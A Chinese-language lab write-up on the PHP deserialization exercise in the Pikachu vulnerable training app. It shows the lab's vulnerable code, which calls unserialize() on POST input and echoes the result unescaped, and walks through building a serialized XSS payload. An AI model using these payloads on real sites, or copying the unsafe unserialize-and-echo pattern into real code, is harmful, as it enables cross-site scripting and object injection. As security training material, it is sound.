pikachu_php反序列化

pikachu_php反序列化

源代码

php 复制代码
class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}


//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }

}

源码可见,需要执行到test,那么就需要执行construct函数,该魔法函数创建对象时就会被执行,执行到else分支之后输入值的反序列化就会当做值给test调用

过程

尝试写一个xss攻击,将xss攻击序列化提交

php 复制代码
<?php
class Test{
	public $a="<script>alert(/order/)</script>";
}
	$a=new Test();
	var_dump(serialize($a));
?>

查看结果

发现xss标签部分被执行了,然后没有了

因此需要在序列化的时候替换掉xss攻击代码中的一部分,让其无法执行,生成后再替换回来即可

此处将括号换成x,并且构造成源码一样的参数名

php 复制代码
<?php
class S{
    var $test = "xscript>alert(/order/)x/script>";
}
    $s=new S(); 
    print_r(serialize($s));
?>

得到结果然后修改尖括号

复制代码
O:1:"S":1:{s:4:"test";s:31:"xscript>alert(/order/)x/script>";}

O:1:"S":1:{s:4:"test";s:31:"<script>alert(/order/)</script>";}

拿去执行,成功执行xss

相关推荐
帅得不敢出门2 小时前
Android Framework预装traceroute执行文件到system/bin下
android
xzkyd outpaper2 小时前
从面试角度回答Android中ContentProvider启动原理
android·面试·计算机八股
科技小E2 小时前
打手机检测算法AI智能分析网关V4守护公共/工业/医疗等多场景安全应用
人工智能·安全·智能手机
编程乐学2 小时前
基于Android 开发完成的购物商城App--前后端分离项目
android·android studio·springboot·前后端分离·大作业·购物商城
行云流水剑4 小时前
【学习记录】使用 Kali Linux 与 Hashcat 进行 WiFi 安全分析:合法的安全测试指南
linux·学习·安全
KKKlucifer4 小时前
加密通信 + 行为分析:运营商行业安全防御体系重构
网络·安全·重构
炎码工坊5 小时前
微服务通信安全实战:JWT在分布式架构中的应用与最佳实践
安全·网络安全·云原生·系统安全·安全架构
这个家伙很笨7 小时前
了解Android studio 初学者零基础推荐(4)
android·ide·android studio
门前云梦7 小时前
《C语言·源初法典》---C语言基础(上)
c语言·开发语言·学习